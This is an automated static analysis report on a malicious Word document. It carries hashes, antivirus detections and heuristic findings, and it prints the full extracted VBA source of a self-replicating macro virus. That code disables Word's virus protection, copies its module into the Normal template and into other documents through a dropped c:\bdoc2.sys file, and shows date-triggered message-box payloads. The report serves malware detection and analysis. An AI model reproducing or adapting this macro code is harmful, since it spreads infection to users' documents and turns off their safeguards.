Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 150db10eeadf0c89…

MALICIOUS

Office (OLE)

31.0 KB Created: 2009-08-22 12:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8c5b411abe65ef3f175812607cbbc619 SHA-1: 9350f6e7bab7fe0db7b5d61852c12250b898e7f0 SHA-256: 150db10eeadf0c89ae9cb57b26e253fae58d97cd8f609e3e08d44dd5685d34ca
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including AutoOpen and AutoClose functions, which are indicative of malicious intent. The AutoOpen macro attempts to export the 'bdoc2' VBA component to 'c:\bdoc2.sys' and then saves the document, likely to facilitate the execution of a second-stage payload. The presence of legacy WordBasic macro virus markers and ClamAV detections further support its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12617 bytes
SHA-256: 7580fb9aab03569f3d5b4ff0b79505c9b5d96debc0b65489256944786016124e
Detection
ClamAV: Doc.Trojan.Smac-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.sys")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Label_Exit:
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.sys")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.sys")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
Kill ("c:\bdoc2.sys")
If Day(Now) = 2 And Month(Now) = 9 Then
For i = 1 To 1000000
msg = Chr(-11328) + Chr(-11082) + Chr(-19004) + Chr(-10333) + Chr(-18269) + Chr(32) + Chr(44) + Chr(32) + Chr(-13830) + Chr(-14123) + Chr(-16404) + Chr(-16170) + Chr(32) + Chr(33) + Chr(33) + Chr(33)
MsgBox msg, vbCritical
Next i
End If
End Sub

Public Sub AutoExec()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\bdoc2.sys")
If Day(Now) = 13 Then MsgBox Chr(-12604) + Chr(-17154) + Chr(-18191) + Chr(-13635) + Chr(-19219) + Chr(-12557) + Chr(44) + Chr(-14357) + Chr(-11871) + Chr(-11325) + Chr(-19007) + Chr(-20250) + Chr(-14099) + Chr(-17154) + Chr(33) + Chr(80) + Chr(114) + Chr(101) + Chr(115) + Chr(115) + Chr(32) + Chr(79) + Chr(75) + Chr(32) + Chr(46), vbCritical
End Sub
Sub AutoNew()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
NormalTemplate.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.sys")
End Sub
Sub ToolsMacro()

End Sub
Sub FileTemplates()

End Sub
Sub ViewVBCode()

End Sub
Sub HelpWordPerfectHelp()

End Sub
Sub ToolsCustomize()

End Sub


' Processing file: /opt/analyzer/scan_staging/ffe392fe7a7143d08b926a55114addad.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/bdoc2 - 5418 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #5:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponen
... (truncated)

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